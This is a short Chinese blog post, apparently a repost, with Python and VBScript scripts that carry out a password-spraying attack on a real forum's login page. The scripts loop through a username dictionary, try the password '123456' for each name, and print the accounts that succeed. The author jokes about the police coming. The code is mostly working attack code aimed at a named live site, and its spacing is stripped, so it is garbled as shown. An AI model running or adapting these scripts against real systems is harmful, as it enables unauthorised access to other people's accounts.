Python牛刀小试密码爆破
2023-06-13 09:14:26 时间
难道真的要我破解一个么?算了,正好试试我的Python水平。
python版
复制代码代码如下:
python版
#coding:gbk
importhttplib,urllib
defCheck(username,password):
params=urllib.urlencode(
{"userid":username,"passwd":password})
headers={"Content-type":
"application/x-www-form-urlencoded"}
conn=httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php",params,headers)
res=conn.getresponse().read()
conn.close()
ifres.find("密码不正确")!=-1:
returnFalse
elifres.find("不存在这个用户")!=-1:
returnFalse
else:
returnTrue
foriinopen("English.Dic"):
ifCheck(i.rstrip(),"123456"):
printi
顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dimfso
Setfso=CreateObject("scripting.filesystemobject")
Withfso.OpenTextFile("English.Dic",1)
DoUntil.AtEndOfStream
id=.ReadLine
IfCheck(id,"123456")Then
WScript.Echoid&vbTab&"OK"
EndIf
Loop
EndWith
FunctionCheck(username,password)
Dimhttp
Sethttp=CreateObject("Msxml2.XMLHTTP")
http.open_
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader_
"Content-Type","application/x-www-form-urlencoded"
http.send"userid="&username&"&passwd="&password
response=AnsiToUnicode(http.responseBody)
IfInStr(response,"密码不正确")Then
Check=False
ElseIfInStr(response,"不存在这个用户")Then
Check=False
Else
Check=True
EndIf
EndFunction
FunctionAnsiToUnicode(str)
Dimado
Setado=CreateObject("adodb.stream")
ado.Type=1
ado.Open
ado.Writestr
ado.Position=0
ado.Type=2
ado.Charset="gb2312"
AnsiToUnicode=ado.ReadText
EndFunction
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
相关文章
- Python多线程通信_python socket多线程
- Python 细聊!可以媲美 PS 的 PIL 图片处理库
- python格式化转换_Python进制转换format格式化[通俗易懂]
- Python通过librbd操作ceph
- 【说站】凯撒密码python编程简单
- python调用so文件[通俗易懂]
- python udp编程_Python核心编程
- 使用PYTHON中KERAS的LSTM递归神经网络进行时间序列预测|附代码数据
- Python抛出异常_python抛出异常的作用
- python attrs_Python attrs作用是什么?
- Python读取文件时出现UnicodeDecodeError: ‘gbk’ codec can’t decode byte 0x80 in position xx: 解决方案[通俗易懂]
- python 图像处理库_Python图像处理库
- python hexdump_笨办法学 Python · 续 练习 26:`hexdump`
- python图形界面多线程关闭问题
- python入门之后须掌握的知识点(模块化编程、时间模块)【一】
- 【测试开发】python系列教程:Python数据类型转换
- Python 读取配置文件常用几种方式
- 如何用Python操作PDF制作数据报告?
- python-Python与MySQL数据库-处理MySQL查询结果
- python-Python与SQLite数据库-使用Python执行SQLite查询(一)
- [置顶] 用python生成验证码图片详解编程语言
- python中的虚函数详解编程语言
- python随机生成一个简单的密码代码详解编程语言
- 小白的Python之路 day5 python模块详解及import本质编程语言
- python-import详解编程语言
- Python实现Oracle数据库连接(python连接oracle数据库)
- 在Linux系统中使用Python编程语言(linux中python)
- Python除法小技巧
- Python自动化测试工具Splinter简介和使用实例
- python服务器与android客户端socket通信实例